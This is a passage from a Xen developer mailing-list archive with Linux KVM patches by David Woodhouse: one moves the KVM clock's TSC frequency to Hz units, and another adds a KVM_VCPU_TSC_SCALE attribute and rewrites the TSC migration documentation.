-			} else if (index == 2) {
-				*eax = div_u64(vcpu->arch.hw_tsc_hz, 1000);
-			}
 		}
 	} else {
 		*eax = *ebx = *ecx = *edx = 0;
diff --git a/arch/x86/kvm/xen.h b/arch/x86/kvm/xen.h
index 59e6128a7bd3..f372855857a8 100644
--- a/arch/x86/kvm/xen.h
+++ b/arch/x86/kvm/xen.h
@@ -50,14 +50,6 @@ static inline void kvm_xen_sw_enable_lapic(struct kvm_vcpu *vcpu)
 		kvm_xen_inject_vcpu_vector(vcpu);
 }
 
-static inline bool kvm_xen_is_tsc_leaf(struct kvm_vcpu *vcpu, u32 function)
-{
-	return static_branch_unlikely(&kvm_xen_enabled.key) &&
-	       vcpu->arch.xen.cpuid.base &&
-	       function <= vcpu->arch.xen.cpuid.limit &&
-	       function == (vcpu->arch.xen.cpuid.base | XEN_CPUID_LEAF(3));
-}
-
 static inline bool kvm_xen_msr_enabled(struct kvm *kvm)
 {
 	return static_branch_unlikely(&kvm_xen_enabled.key) &&
@@ -177,11 +169,6 @@ static inline bool kvm_xen_timer_enabled(struct kvm_vcpu *vcpu)
 {
 	return false;
 }
-
-static inline bool kvm_xen_is_tsc_leaf(struct kvm_vcpu *vcpu, u32 function)
-{
-	return false;
-}
 #endif
 
 int kvm_xen_hypercall(struct kvm_vcpu *vcpu);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353906.1609691 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMb-0007xy-Oj; Fri, 03 Jul 2026 21:23:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353906.1609691; Fri, 03 Jul 2026 21:23:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMb-0007w8-79; Fri, 03 Jul 2026 21:23:57 +0000
Received: by outflank-mailman (input) for mailman id 1353906;
 Fri, 03 Jul 2026 21:23:54 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMY-0007Bo-8r
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMX-00CejO-Lw; Fri, 03 Jul 2026 23:23:53 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48281d-bab6-0a2a0a5309dd-0a2a4507d556-20
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:53 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482869-9c8e-0a2a45070019-5a9b5cc7914a-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:53 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKc-000000059Nv-34Xj; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKV-00000001RNt-3e6d;
 Fri, 03 Jul 2026 22:21:47 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=flkC/OcSCGAXpnaP19vXBE2hMaRp11igqBu5RS6r3dg=; b=Tbbp2+TwxLpc+G6p3RBqRTKHVF
	F4m+83xyTjWYceXJyh2USsFVoW6+F+mtSXFFxfE40w5kBpDY7LtCXofCcMc5DNYajLyDOqwL8awjr
	D8NjUmK74H6WSJ4msHlpTTp23TRYPcLxDbu5yf3S4NBseUm1GXoEO6eGOWBjZbhbqtgNYV3EslBHl
	sdjDwDOi/MgPFJ/us5LXXWA4S16xfC6rAOzt5Ui6F0K99DIcw/7CW4aX8nJ96jKVAAqZ7lQKV3S/e
	wuu9Y93KEfLorCJOM0DRw0AlgEomw2lcT+tPvveFIhQ0M5LxwRmzGgsezMN8iEKUMRI6h7CJsDgke
	xHD9FbXQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 02/36] KVM: x86: Improve accuracy of KVM clock when TSC scaling is in force
Date: Fri,  3 Jul 2026 22:17:41 +0100
Message-ID: <20260703212145.343527-3-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1783113833-FEB3B25E-425DE96E/0/0
X-purgate-type: clean
X-purgate-size: 4085

From: David Woodhouse <dwmw@amazon.co.uk>

The kvm_guest_time_update() function scales the host TSC frequency to
the guest's using kvm_scale_tsc() and the v->arch.l1_tsc_scaling_ratio
scaling ratio previously calculated for that vCPU. Then calculates the
scaling factors for the KVM clock itself based on that guest TSC
frequency.

However, it uses kHz as the unit when scaling, and then multiplies by
1000 only at the end.

With a host TSC frequency of 3000MHz and a guest set to 2500MHz, the
result of kvm_scale_tsc() will actually come out at 2,499,999kHz. So
the KVM clock advertised to the guest is based on a frequency of
2,499,999,000 Hz.

By using Hz as the unit from the beginning, the KVM clock would be based
on a more accurate frequency of 2,499,999,999 Hz in this example.

Use u64 for the hw_tsc_hz field since an unsigned int would overflow for
TSC frequencies above 4GHz. Use div_u64() for the Xen CPUID leaf to
play nice with 32-bit kernels.

Fixes: 78db6a503796 ("KVM: x86: rewrite handling of scaled TSC for kvmclock")
Reviewed-by: Paul Durrant <paul@xen.org>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
---
 arch/x86/include/asm/kvm_host.h |  2 +-
 arch/x86/kvm/cpuid.c            |  2 +-
 arch/x86/kvm/x86.c              | 17 +++++++++--------
 3 files changed, 11 insertions(+), 10 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index f14009f25a3b..b2446c04a076 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -950,7 +950,7 @@ struct kvm_vcpu_arch {
 	gpa_t time;
 	s8  pvclock_tsc_shift;
 	u32 pvclock_tsc_mul;
-	unsigned int hw_tsc_khz;
+	u64 hw_tsc_hz;
 	struct gfn_to_pfn_cache pv_time;
 	/* set guest stopped flag in pvclock flags field */
 	bool pvclock_set_guest_stopped_request;
diff --git a/arch/x86/kvm/cpuid.c b/arch/x86/kvm/cpuid.c
index e69156b54cff..621d950ec692 100644
--- a/arch/x86/kvm/cpuid.c
+++ b/arch/x86/kvm/cpuid.c
@@ -2131,7 +2131,7 @@ bool kvm_cpuid(struct kvm_vcpu *vcpu, u32 *eax, u32 *ebx,
 				*ecx = vcpu->arch.pvclock_tsc_mul;
 				*edx = vcpu->arch.pvclock_tsc_shift;
 			} else if (index == 2) {
-				*eax = vcpu->arch.hw_tsc_khz;
+				*eax = div_u64(vcpu->arch.hw_tsc_hz, 1000);
 			}
 		}
 	} else {
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 0550359ed798..dbcff49cd561 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -3314,7 +3314,8 @@ static void kvm_setup_guest_pvclock(struct pvclock_vcpu_time_info *ref_hv_clock,
 int kvm_guest_time_update(struct kvm_vcpu *v)
 {
 	struct pvclock_vcpu_time_info hv_clock = {};
-	unsigned long flags, tgt_tsc_khz;
+	unsigned long flags;
+	u64 tgt_tsc_hz;
 	unsigned seq;
 	struct kvm_vcpu_arch *vcpu = &v->arch;
 	struct kvm_arch *ka = &v->kvm->arch;
@@ -3340,8 +3341,8 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 
 	/* Keep irq disabled to prevent changes to the clock */
 	local_irq_save(flags);
-	tgt_tsc_khz = get_cpu_tsc_khz();
-	if (unlikely(tgt_tsc_khz == 0)) {
+	tgt_tsc_hz = (u64)get_cpu_tsc_khz() * 1000;
+	if (unlikely(tgt_tsc_hz == 0)) {
 		local_irq_restore(flags);
 		kvm_make_request(KVM_REQ_CLOCK_UPDATE, v);
 		return 1;
@@ -3376,16 +3377,16 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 	/* With all the info we got, fill in the values */
 
 	if (kvm_caps.has_tsc_control) {
-		tgt_tsc_khz = kvm_scale_tsc(tgt_tsc_khz,
+		tgt_tsc_hz = kvm_scale_tsc(tgt_tsc_hz,
 					    v->arch.l1_tsc_scaling_ratio);
-		tgt_tsc_khz = tgt_tsc_khz ? : 1;
+		tgt_tsc_hz = tgt_tsc_hz ? : 1;
 	}
 
-	if (unlikely(vcpu->hw_tsc_khz != tgt_tsc_khz)) {
-		kvm_get_time_scale(NSEC_PER_SEC, tgt_tsc_khz * 1000LL,
+	if (unlikely(vcpu->hw_tsc_hz != tgt_tsc_hz)) {
+		kvm_get_time_scale(NSEC_PER_SEC, tgt_tsc_hz,
 				   &vcpu->pvclock_tsc_shift,
 				   &vcpu->pvclock_tsc_mul);
-		vcpu->hw_tsc_khz = tgt_tsc_khz;
+		vcpu->hw_tsc_hz = tgt_tsc_hz;
 	}
 
 	hv_clock.tsc_shift = vcpu->pvclock_tsc_shift;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353907.1609697 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMc-00082Y-4f; Fri, 03 Jul 2026 21:23:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353907.1609697; Fri, 03 Jul 2026 21:23:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMb-00080t-Ke; Fri, 03 Jul 2026 21:23:57 +0000
Received: by outflank-mailman (input) for mailman id 1353907;
 Fri, 03 Jul 2026 21:23:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMY-00078a-3q
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMX-00A83n-GB; Fri, 03 Jul 2026 23:23:53 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482855-e002-0a2a0a5209dd-0a2a450295e8-10
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:53 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482868-5a27-0a2a45020019-5a9b5cc7c8dc-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059Nz-0yD3; Fri, 03 Jul 2026 21:23:31 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROL-0svz;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=3lUib/EIrL1+94Hfr3HOPm3NJZGT4m6/AxpXp3yQAbg=; b=Z7Au5hbqzBkr89WU5YG+ZPC5S9
	ySbJNMLzah02oxol8S6rfewycGcma4xQAxc/yMNJ1UwcfKW0RZDK3N+ZfzpwnX0cDbzjv5IEtb3XP
	BqmZyXcEoEi6mGeg4G6eowbPuwlNfZdOQ3/Bi5QFoSwkKPyjSnPkAGntNnwvwwDGqmSGfM+0tOfqP
	H7LdsJn0nbVCjmbDvgIm50n7FXL+ms0X6P1pPKn8r3p7vR1RPFZ7mfnTwaazlLdhUz077TRnX5ZbP
	eSFnpVBx/QIZTGoz7Uf4ekeKzPD87F7ACQm+Sjaqai+PI1jV9VHGP1Dq2P8ygLT7zgjTP15zci0gv
	RqcBJSrQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 09/36] KVM: x86: Add KVM_VCPU_TSC_SCALE and fix the documentation on TSC migration
Date: Fri,  3 Jul 2026 22:17:48 +0100
Message-ID: <20260703212145.343527-10-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-720697/1783113833-4E10A7C5-2A36E47B/0/0
X-purgate-type: clean
X-purgate-size: 24002

From: David Woodhouse <dwmw@amazon.co.uk>

The documentation on TSC migration using KVM_VCPU_TSC_OFFSET is woefully
inadequate. It ignores TSC scaling, and ignores the fact that the host
TSC may differ from one host to the next (and in fact because of the way
the kernel calibrates it, it generally differs from one boot to the next
even on the same hardware).

Add KVM_VCPU_TSC_SCALE to extract the actual scale ratio and frac_bits,
and attempt to document the process that userspace needs to follow to
preserve the TSC across migration. Add a self test to function as an
exemplar.

Only enumerate KVM_VCPU_TSC_SCALE when kvm_caps.has_tsc_control is true,
since the scaling ratio is only meaningful when hardware TSC scaling is
supported.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 Documentation/virt/kvm/devices/vcpu.rst       | 120 ++++--
 arch/x86/include/uapi/asm/kvm.h               |   6 +
 arch/x86/kvm/x86.c                            |  21 +
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../kvm/x86/pvclock_migration_test.c          | 383 ++++++++++++++++++
 5 files changed, 501 insertions(+), 30 deletions(-)
 create mode 100644 tools/testing/selftests/kvm/x86/pvclock_migration_test.c

diff --git a/Documentation/virt/kvm/devices/vcpu.rst b/Documentation/virt/kvm/devices/vcpu.rst
index 5e3805820010..de9f58f75eb9 100644
--- a/Documentation/virt/kvm/devices/vcpu.rst
+++ b/Documentation/virt/kvm/devices/vcpu.rst
@@ -229,6 +229,7 @@ including the layout of the stolen time structure.
 :Architectures: x86
 
 4.1 ATTRIBUTE: KVM_VCPU_TSC_OFFSET
+----------------------------------
 
 :Parameters: 64-bit unsigned TSC offset
 
@@ -243,7 +244,10 @@ Returns:
 Specifies the guest's TSC offset relative to the host's TSC. The guest's
 TSC is then derived by the following equation:
 
-  guest_tsc = host_tsc + KVM_VCPU_TSC_OFFSET
+  guest_tsc = ((host_tsc * tsc_ratio) >> tsc_frac_bits) + KVM_VCPU_TSC_OFFSET
+
+The values of tsc_ratio and tsc_frac_bits can be obtained using
+the KVM_VCPU_TSC_SCALE attribute.
 
 This attribute is useful to adjust the guest's TSC on live migration,
 so that the TSC counts the time during which the VM was paused. The
@@ -251,44 +255,100 @@ following describes a possible algorithm to use for this purpose.
 
 From the source VMM process:
 
-1. Invoke the KVM_GET_CLOCK ioctl to record the host TSC (tsc_src),
+1. Invoke the KVM_GET_CLOCK ioctl to record the host TSC (host_tsc_src),
    kvmclock nanoseconds (guest_src), and host CLOCK_REALTIME nanoseconds
-   (host_src).
+   (time_src) at a given moment (Tsrc).
+
+2. For each vCPU[i]:
+
+   a. Read the KVM_VCPU_TSC_OFFSET attribute to record the guest TSC offset
+      (ofs_src[i]).
 
-2. Read the KVM_VCPU_TSC_OFFSET attribute for every vCPU to record the
-   guest TSC offset (ofs_src[i]).
+   b. Read the KVM_VCPU_TSC_SCALE attribute to record the guest TSC scaling
+      ratio (ratio_src[i], frac_bits_src[i]).
 
-3. Invoke the KVM_GET_TSC_KHZ ioctl to record the frequency of the
-   guest's TSC (freq).
+   c. Use host_tsc_src and the scaling/offset factors to calculate this
+      vCPU's TSC at time Tsrc:
+
+      tsc_src[i] = ((host_tsc_src * ratio_src[i]) >> frac_bits_src[i]) + ofs_src[i]
+
+3. Invoke the KVM_GET_CLOCK_GUEST ioctl on the boot vCPU to return the KVM
+   clock as a function of the guest TSC (pvti_src). (This ioctl may not
+   succeed if the host and guest TSCs are not consistent and well-behaved.)
 
 From the destination VMM process:
 
-4. Invoke the KVM_SET_CLOCK ioctl, providing the source nanoseconds from
-   kvmclock (guest_src) and CLOCK_REALTIME (host_src) in their respective
-   fields.  Ensure that the KVM_CLOCK_REALTIME flag is set in the provided
-   structure.
+4. Before creating the vCPUs, invoke the KVM_SET_TSC_KHZ ioctl on the VM, to
+   set the scaled frequency of the guest's TSC (freq).
+
+5. Invoke the KVM_GET_CLOCK ioctl to record the host TSC (host_tsc_dst) and
+   host CLOCK_REALTIME nanoseconds (time_dst) at a given moment (Tdst).
+
+6. Calculate the number of nanoseconds elapsed between Tsrc and Tdst:
+
+   Î”T = time_dst - time_src
+
+7. As each vCPU[i] is created:
+
+   a. Read the KVM_VCPU_TSC_SCALE attribute to record the guest TSC scaling
+      ratio (ratio_dst[i], frac_bits_dst[i]).
+
+   b. Calculate the intended guest TSC value at time Tdst:
+
+      tsc_dst[i] = tsc_src[i] + (Î”T * freq[i])
 
-   KVM will advance the VM's kvmclock to account for elapsed time since
-   recording the clock values.  Note that this will cause problems in
-   the guest (e.g., timeouts) unless CLOCK_REALTIME is synchronized
-   between the source and destination, and a reasonably short time passes
-   between the source pausing the VMs and the destination executing
-   steps 4-7.
+   c. Use host_tsc_dst and the scaling factors to calculate this vCPU's
+      raw scaled TSC at time Tdst without offsetting:
+
+      raw_dst[i] = ((host_tsc_dst * ratio_dst[i]) >> frac_bits_dst[i])
+
+   d. Calculate ofs_dst[i] = tsc_dst[i] - raw_dst[i] and set the resulting
+      offset using the KVM_VCPU_TSC_OFFSET attribute.
+
+8. If pvti_src was provided, invoke the KVM_SET_CLOCK_GUEST ioctl on the boot
+   vCPU to restore the KVM clock as a precise function of the guest TSC.
+
+9. If KVM_SET_CLOCK_GUEST was not available or failed (e.g. because the
+   master clock is not active), fall back to the KVM_SET_CLOCK ioctl,
+   providing the source nanoseconds from kvmclock (guest_src) and
+   CLOCK_REALTIME (time_src) in their respective fields. Ensure that the
+   KVM_CLOCK_REALTIME flag is set in the provided structure.
+
+   KVM will restore the VM's kvmclock, accounting for elapsed time since
+   the clock values were recorded. Note that this will cause problems in
+   the guest (e.g., timeouts) unless CLOCK_REALTIME is synchronized between
+   the source and destination, and a reasonably short time passes between
+   the source pausing the VMs and the destination resuming them.
+   Due to the KVM_[SG]ET_CLOCK API using CLOCK_REALTIME instead of
+   CLOCK_TAI, leap seconds during the migration may also introduce errors.
+
+4.2 ATTRIBUTE: KVM_VCPU_TSC_SCALE
+---------------------------------
+
+:Parameters: struct kvm_vcpu_tsc_scale
+
+Returns:
+
+	 ======= ======================================
+	 -EFAULT Error reading the provided parameter
+		 address.
+	 -ENXIO  Attribute not supported (no TSC scaling)
+	 -EINVAL Invalid request to write the attribute
+	 ======= ======================================
 
-5. Invoke the KVM_GET_CLOCK ioctl to record the host TSC (tsc_dest) and
-   kvmclock nanoseconds (guest_dest).
+This read-only attribute reports the guest's TSC scaling factor, in the form
+of a fixed-point number represented by the following structure::
 
-6. Adjust the guest TSC offsets for every vCPU to account for (1) time
-   elapsed since recording state and (2) difference in TSCs between the
-   source and destination machine:
+  struct kvm_vcpu_tsc_scale {
+	__u64 tsc_ratio;
+	__u64 tsc_frac_bits;
+  };
 
-   ofs_dst[i] = ofs_src[i] -
-     (guest_src - guest_dest) * freq +
-     (tsc_src - tsc_dest)
+The tsc_frac_bits field indicates the location of the fixed point, such that
+host TSC values are converted to guest TSC using the formula:
 
-   ("ofs[i] + tsc - guest * freq" is the guest TSC value corresponding to
-   a time of 0 in kvmclock.  The above formula ensures that it is the
-   same on the destination as it was on the source).
+  guest_tsc = ((host_tsc * tsc_ratio) >> tsc_frac_bits) + offset
 
-7. Write the KVM_VCPU_TSC_OFFSET attribute for every vCPU with the
-   respective value derived in the previous step.
+Userspace can use this to precisely calculate the guest TSC from the host
+TSC at any given moment. This is needed for accurate migration of guests,
+as described in the documentation for the KVM_VCPU_TSC_OFFSET attribute.
diff --git a/arch/x86/include/uapi/asm/kvm.h b/arch/x86/include/uapi/asm/kvm.h
index 5f4a66b1662a..fb38486ff742 100644
--- a/arch/x86/include/uapi/asm/kvm.h
+++ b/arch/x86/include/uapi/asm/kvm.h
@@ -962,6 +962,12 @@ struct kvm_hyperv_eventfd {
 /* for KVM_{GET,SET,HAS}_DEVICE_ATTR */
 #define KVM_VCPU_TSC_CTRL 0 /* control group for the timestamp counter (TSC) */
 #define   KVM_VCPU_TSC_OFFSET 0 /* attribute for the TSC offset */
+#define   KVM_VCPU_TSC_SCALE  1 /* attribute for TSC scaling factor */
+
+struct kvm_vcpu_tsc_scale {
+	__u64 tsc_ratio;
+	__u64 tsc_frac_bits;
+};
 
 /* x86-specific KVM_EXIT_HYPERCALL flags. */
 #define KVM_EXIT_HYPERCALL_LONG_MODE	_BITULL(0)
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 2039bd8518fb..26b4649dfb94 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -5935,6 +5935,9 @@ static int kvm_arch_tsc_has_attr(struct kvm_vcpu *vcpu,
 	case KVM_VCPU_TSC_OFFSET:
 		r = 0;
 		break;
+	case KVM_VCPU_TSC_SCALE:
+		r = kvm_caps.has_tsc_control ? 0 : -ENXIO;
+		break;
 	default:
 		r = -ENXIO;
 	}
@@ -5955,6 +5958,21 @@ static int kvm_arch_tsc_get_attr(struct kvm_vcpu *vcpu,
 			break;
 		r = 0;
 		break;
+	case KVM_VCPU_TSC_SCALE: {
+		struct kvm_vcpu_tsc_scale scale;
+
+		r = -ENXIO;
+		if (!kvm_caps.has_tsc_control)
+			break;
+
+		scale.tsc_ratio = vcpu->arch.l1_tsc_scaling_ratio;
+		scale.tsc_frac_bits = kvm_caps.tsc_scaling_ratio_frac_bits;
+		r = -EFAULT;
+		if (copy_to_user(uaddr, &scale, sizeof(scale)))
+			break;
+		r = 0;
+		break;
+	}
 	default:
 		r = -ENXIO;
 	}
@@ -5994,6 +6012,9 @@ static int kvm_arch_tsc_set_attr(struct kvm_vcpu *vcpu,
 		r = 0;
 		break;
 	}
+	case KVM_VCPU_TSC_SCALE:
+		r = kvm_caps.has_tsc_control ? -EINVAL : -ENXIO;
+		break;
 	default:
 		r = -ENXIO;
 	}
diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index fb935ae3bf38..90568ab631d7 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -106,6 +106,7 @@ TEST_GEN_PROGS_x86 += x86/pmu_event_filter_test
 TEST_GEN_PROGS_x86 += x86/private_mem_conversions_test
 TEST_GEN_PROGS_x86 += x86/private_mem_kvm_exits_test
 TEST_GEN_PROGS_x86 += x86/pvclock_test
+TEST_GEN_PROGS_x86 += x86/pvclock_migration_test
 TEST_GEN_PROGS_x86 += x86/set_boot_cpu_id
 TEST_GEN_PROGS_x86 += x86/set_sregs_test
 TEST_GEN_PROGS_x86 += x86/smaller_maxphyaddr_emulation_test
diff --git a/tools/testing/selftests/kvm/x86/pvclock_migration_test.c b/tools/testing/selftests/kvm/x86/pvclock_migration_test.c
new file mode 100644
index 000000000000..3b675827aec3
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/pvclock_migration_test.c
